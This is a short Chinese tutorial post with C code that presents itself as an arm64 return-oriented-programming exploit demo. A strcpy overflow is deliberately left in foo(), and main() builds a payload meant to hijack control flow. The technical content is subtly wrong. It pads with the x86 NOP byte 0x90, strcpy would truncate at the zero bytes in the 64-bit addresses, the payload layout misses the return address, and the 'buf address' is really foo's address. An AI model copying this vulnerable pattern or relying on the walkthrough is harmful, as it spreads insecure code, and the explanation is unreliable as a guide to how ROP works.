arm64 的 rop 实现C代码

由于arm64架构和x86架构的指令集不同，因此ROP的实现方式也会有所不同。以下是一个简单的arm64 ROP的C代码示例：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo(char *str) {
    char buf[16];
    strcpy(buf, str);
}

void gadget1() {
    printf("Executing gadget1...\n");
}

void gadget2() {
    printf("Executing gadget2...\n");
}

int main(int argc, char *argv[]) {
    char payload[64];
    memset(payload, 0x00, sizeof(payload));

    // Fill the payload with the address of gadget1
    uint64_t gadget1_addr = (uint64_t)gadget1;
    for (int i = 0; i < 8; i++) {
        payload[i] = gadget1_addr & 0xff;
        gadget1_addr = gadget1_addr >> 8;
    }

    // Fill the payload with the address of gadget2
    uint64_t gadget2_addr = (uint64_t)gadget2;
    for (int i = 8; i < 16; i++) {
        payload[i] = gadget2_addr & 0xff;
        gadget2_addr = gadget2_addr >> 8;
    }

    // Pad the payload with NOPs
    for (int i = 16; i < 56; i++) {
        payload[i] = 0x90;
    }

    // Fill the payload with the address of buf in foo()
    uint64_t buf_addr = (uint64_t)&foo;
    for (int i = 56; i < 64; i++) {
        payload[i] = buf_addr & 0xff;
        buf_addr = buf_addr >> 8;
    }

    // Call foo() with the payload as the argument
    foo(payload);

    return 0;
}

这个程序由三个函数组成：`foo()`、`gadget1()`和`gadget2()`。

`foo()`函数中有一个名为`buf`的缓冲区，它可以容纳16个字节的数据。`foo()`函数将输入参数`str`复制到`buf`缓冲区中，由于没有对`str`的长度进行检查，因此存在缓冲区溢出漏洞。

`gadget1()`和`gadget2()`是两个ROP gadget，它们将被用于构造ROP链。

在`main()`函数中，我们首先构造一个长度为64字节的payload缓冲区，并将其填充为具有以下结构：

|    gadget1 address     |    gadget2 address     |       NOPs          |    buf address       |

其中，`gadget1 address`和`gadget2 address`是两个ROP gadget的地址，`NOPs`是一系列NOP指令，用于填充缓冲区以确保ROP链的正确性，`buf address`是`foo()`函数中`buf`缓冲区的地址。

接下来，我们调用`foo()`函数并将payload缓冲区作为参数传递给它。由于缓冲区溢出漏洞，`foo()`函数将返回时不会按照预期的方式返回，而是会跳转到`gadget1()`函数的地址。`gadget1()`函数执行完毕后，它会继续执行下一个ROP gadget，即`gadget2()`函数。`gadget2()`函数执行完毕后，它会返回到`foo()`函数中的`buf`缓冲区，此时控制权已经被完全接管，攻击者可以利用这个漏洞来实现任意代码执行。